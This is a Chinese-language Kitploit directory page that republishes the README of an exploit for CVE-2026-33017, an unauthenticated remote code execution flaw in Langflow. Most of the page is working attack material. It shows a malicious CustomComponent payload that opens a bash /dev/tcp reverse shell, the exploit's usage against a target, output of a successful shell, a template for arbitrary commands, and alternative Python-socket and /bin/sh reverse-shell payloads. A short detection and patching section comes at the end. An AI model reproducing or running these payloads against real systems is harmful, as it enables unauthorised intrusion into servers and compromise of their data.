Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-33017-PoC-Reverse-Shell — CVE-2026-33017 的漏洞利用程序,针对 Langflow 中未经验证的远程代码执行(RCE)漏洞,可通过恶意 CustomComponent 载荷实现反向 Shell。 | Kitploit
工具/GitHubGitHub/ahseven/cve-2026-33017-poc-reverse-shell
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试红队远程访问工具
GitHubahseven/cve-2026-33017-poc-reverse-shell

CVE-2026-33017-PoC-Reverse-Shell

CVE-2026-33017 的漏洞利用程序,针对 Langflow 中未经验证的远程代码执行(RCE)漏洞,可通过恶意 CustomComponent 载荷实现反向 Shell。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
1020天前尚未审核
分享

CVE-2026-33017 - Langflow 未认证 RCE 漏洞利用

📋 概述

CVE-2026-33017 是 Langflow 版本 <= 1.8.2 中的一个未认证远程代码执行(RCE)漏洞。该漏洞存在于 /api/v1/build_public_tmp/{flow_id}/flow 端点中,该端点缺乏适当的身份验证,允许攻击者在图编译过程中执行任意 Python 代码。

⚠️ 免责声明

此漏洞利用工具仅用于教育和授权测试目的。未经授权访问计算机系统属于违法行为。请仅在你拥有或已获得明确测试许可的系统上使用此工具。

🎯 受影响版本

版本状态
<= 1.8.2存在漏洞
1.9.0已修复

🔍 漏洞详情

根本原因

该漏洞源于 validate.py 中的 prepare_global_scope() 函数,该函数在未进行适当沙箱隔离的情况下对每个 CustomComponent 节点的代码调用 exec()。当组件被加载/编译时,模块级别(类定义之外)的任何 Python 代码都会立即执行。

存在漏洞的端点

root@kitploit:~
POST /api/v1/build_public_tmp/{flow_id}/flow

特征:

  • ❌ 无需身份验证
  • ❌ 无需 API 密钥
  • ❌ 无需授权标头
  • ✅ 攻击者控制的数据直接传递给图构建器

代码执行链

root@kitploit:~
攻击者 POST → build_public_tmp → start_flow_build() → create_graph() → 
Graph.from_payload() → add_nodes_and_edges() → initialize() → 
_instantiate_components_in_vertices() → instantiate_component() → 
eval_custom_component_code() → prepare_global_scope() → 
exec(compiled_code) ← 任意代码执行

🛠️ 漏洞利用

前提条件

  1. 来自 Langflow 实例的公共流程 ID(UUID)
  2. 目标 URL(Langflow 实例)
  3. 用于反向 Shell 的监听 IP 和端口

安装

root@kitploit:~
git clone https://github.com/yourusername/CVE-2026-33017-exploit.git
cd CVE-2026-33017-exploit
pip install -r requirements.txt

依赖要求

root@kitploit:~
requests>=2.28.0
urllib3>=1.26.0

使用方法

基本语法

root@kitploit:~
python3 exploit.py --url <目标URL> --flow-id <流程ID> --lhost <监听IP> --lport <监听端口>

示例

1. 反向 Shell

root@kitploit:~
# 启动监听器
nc -lvnp 4444

# 运行漏洞利用
python3 exploit.py --url https://target.langflow.com --flow-id 7d84d636-af65-42e4-ac38-26e867052c25 --lhost 10.10.16.171 --lport 4444

2. 使用短选项

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

3. 本地测试

root@kitploit:~
python3 exploit.py -u http://localhost:7860 -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

4. 自定义超时

root@kitploit:~
python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444 -t 30

命令行参数

参数短选项必填描述
--url-u是目标 URL(例如 https://target.langflow.com)
--flow-id-f是公共流程的流程 ID(UUID)
--lhost-lh是用于反向 Shell 的监听 IP 地址
--lport-lp是用于反向 Shell 的监听端口
--timeout-t否HTTP 超时时间(秒)(默认:15)

🔧 工作原理

1. 载荷结构

该漏洞利用发送一个恶意的 CustomComponent 节点,该节点在模块级别执行代码:

root@kitploit:~
import os

# 此代码在组件加载期间立即执行
_x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={})

2. 执行流程

root@kitploit:~
1. 攻击者向 /api/v1/build_public_tmp/{flow_id}/flow 发送 POST 请求
2. Langflow 接收恶意的 CustomComponent
3. prepare_global_scope() 对组件代码调用 exec()
4. 模块级别代码立即执行
   ├── _x = os.system("bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'")
5. 反向 Shell 连接回攻击者的监听器
6. 图编译继续(但为时已晚)

3. 为何有效

  • 模块级别执行:类定义之外的代码在 exec() 期间执行
  • 无沙箱隔离:exec() 在无限制的情况下被调用
  • 无身份验证:端点可公开访问
  • 攻击者控制的数据:data 参数被直接嵌入

📊 概念验证

成功利用输出

root@kitploit:~
$ python3 exploit.py -u https://target.langflow.com -f 7d84d636-af65-42e4-ac38-26e867052c25 -lh 10.10.16.171 -lp 4444

============================================================
  CVE-2026-33017 - Langflow 未认证 RCE
============================================================

[!] 请确保你的监听器正在运行:
    nc -lvnp 4444

[+] 目标 URL: https://target.langflow.com/api/v1/build_public_tmp/7d84d636-af65-42e4-ac38-26e867052c25/flow
[+] LHOST: 10.10.16.171
[+] LPORT: 4444
[*] 正在发送漏洞利用载荷...
[+] 状态码: 200
[+] 漏洞利用发送成功!
[+] 任务 ID: abc123-def456-789ghi

[*] 请检查你的监听器以获取反向 Shell!
[*] nc -lvnp 4444

$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.171] from (UNKNOWN) [10.129.8.2] 42348
bash: cannot set terminal process group (1526): Inappropriate ioctl for device
bash: no job control in this shell
www-data@langflow:/app$

🚀 高级用法

稳定 Shell

获得反向 Shell 后:

root@kitploit:~
# Python PTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# 或使用 script
script /dev/null -c bash

# 使用 Ctrl+Z 放入后台
# 然后运行:
stty raw -echo
fg
reset
export TERM=xterm

执行自定义命令

修改脚本以执行任意命令而非反向 Shell:

root@kitploit:~
# 在 build_payload() 函数中:
return f"""import os

_x = os.system("{command}")

from lfx.custom.custom_component.component import Component
from lfx.io import Output
from lfx.schema.data import Data

class ExploitComp(Component):
    display_name="X"
    outputs=[Output(display_name="O",name="o",method="r")]
    def r(self)->Data:
        return Data(data={{}})
"""

替代载荷

1. Python Socket 反向 Shell

root@kitploit:~
import os, socket, subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("LHOST", LPORT))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/bash", "-i"])

2. /bin/sh 反向 Shell(如果 bash 不可用)

root@kitploit:~
import os
os.system("/bin/sh -c 'exec 5<>/dev/tcp/LHOST/LPORT;cat <&5 | while read line; do $line 2>&5 >&5; done'")

🛡️ 检测与防护

检测指标

  • 未经身份验证的 POST 请求发送至 /api/v1/build_public_tmp/*/flow
  • 包含 os.system() 或 subprocess 的可疑 CustomComponent 代码
  • 意外的 /tmp/rce-proof 或 /tmp/executed 文件
  • 来自 Langflow 容器的出站连接

防护措施

  1. 应用补丁:升级到 Langflow 1.9.0 或更高版本
  2. 实施身份验证:为 /build_public_tmp 端点添加适当的身份验证
  3. 输入验证:对 CustomComponent 的代码输入进行清理
  4. 沙箱隔离:为 exec() 调用实施适当的沙箱机制
  5. 网络隔离:隔离 Langflow 实例

📚 参考资料

  • GitHub 安全公告:GHSA-vwmf-pq79-vjvx - 官方 CVE-2026-33017 安全公告
  • CVE 条目:NVD 上的 CVE-2026-33017
  • Langflow GitHub 仓库:langflow-ai/langflow
  • OWASP Top 10 - A03:2021 注入:注入防护速查表

🗺️ 时间线

日期事件
2026 年 3 月发现漏洞
2026 年 3 月 16 日发布 GitHub 安全公告
2026 年 4 月公开披露
2026 年 4 月发布补丁(1.9.0)

📝 许可证

此项目仅用于教育目的。使用风险自负。

⚖️ 法律声明

本软件仅用于教育和授权安全测试目的。作者不对因使用本软件造成的任何滥用或损害负责。用户有责任遵守所有适用的法律法规。


为安全研究而制作 🖤

下载工具